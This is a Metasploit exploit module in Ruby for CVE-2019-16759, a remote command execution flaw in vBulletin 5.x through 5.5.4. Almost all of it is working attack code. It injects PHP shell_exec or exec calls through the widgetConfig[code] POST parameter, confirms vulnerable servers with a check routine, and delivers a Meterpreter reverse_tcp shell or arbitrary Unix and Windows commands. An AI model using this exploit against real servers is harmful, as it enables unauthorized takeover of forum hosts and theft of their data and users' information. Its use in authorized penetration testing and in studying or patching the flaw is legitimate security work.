##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'vBulletin widgetConfig RCE',
      'Description' => %q{
        vBulletin 5.x through 5.5.4 allows remote command execution via the widgetConfig[code]
        parameter in an ajax/render/widget_php routestring POST request.
      },
      'Author' => [
        'unknown', # discovered by an unknown sender.
        'mekhalleh (RAMELLA Sébastien)' # this module.
      ],
      'References' => [
        ['CVE', '2019-16759'],
        ['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'],
        ['URL', 'https://blog.sucuri.net/2019/09/zero-day-rce-in-vbulletin-v5-0-0-v5-5-4.html']
      ],
      'DisclosureDate' => '2019-09-23',
      'License' => MSF_LICENSE,
      'Platform' => ['php', 'unix', 'windows'],
      'Arch' => [ARCH_CMD, ARCH_PHP],
      'Privileged' => true,
      'Targets' => [
        ['Meterpreter (PHP In-Memory)',
          'Platform' => 'php',
          'Arch' => [ARCH_PHP],
          'Type' => :php_memory,
          'Payload' => {
            'BadChars' => "\x22",
          },
          'DefaultOptions' => {
            'PAYLOAD' => 'php/meterpreter/reverse_tcp',
            'DisablePayloadHandler' => 'false'
          }
        ],
        ['Unix (CMD In-Memory)',
          'Platform' => 'unix',
          'Arch' => ARCH_CMD,
          'Type' => :unix_cmd,
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/unix/generic',
            'DisablePayloadHandler' => 'true'
          }
        ],
        ['Windows (CMD In-Memory)',
          'Platform' => 'windows',
          'Arch' => ARCH_CMD,
          'Type' => :windows_cmd,
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/windows/generic',
            'DisablePayloadHandler' => 'true'
          }
        ]
      ],
      'DefaultTarget' => 0,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS]
      }
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']),
      OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
  end

  def cmd_payload(command)
    return("echo #{datastore['PHP_CMD']}('#{command}'); exit;")
  end

  def execute_command(command)
    response = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'encode_params' => true,
      'vars_post' => {
        'routestring' => 'ajax/render/widget_php',
        'widgetConfig[code]' => command
      }
    })
    if (response) && (response.body)
      return response
    end

    return false
  end

  def check
    rand_str = Rex::Text.rand_text_alpha(8)
    received = execute_command(cmd_payload("echo #{rand_str}"))
    if received && received.body.include?(rand_str)
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    unless check.eql? Exploit::CheckCode::Vulnerable
      unless datastore['ForceExploit']
        fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
      end
    end
    vprint_good("The target appears to be vulnerable.")

    print_status("Sending #{datastore['PAYLOAD']} command payload")
    case target['Type']
    when :unix_cmd, :windows_cmd
      cmd = cmd_payload(payload.encoded)
      vprint_status("Generated command payload: #{cmd}")

      received = execute_command(cmd)
      if (received) && (datastore['PAYLOAD'] == "cmd/#{target['Platform']}/generic")
        print_warning('Dumping command output in body response')
        if received.body.empty?
          print_error('Empty response, no command output')
          return
        end
        print_line("#{received.body}")
      end

    when :php_memory
      vprint_status("Generated command payload: #{payload.encoded}")
      execute_command(payload.encoded)
    end
  end
end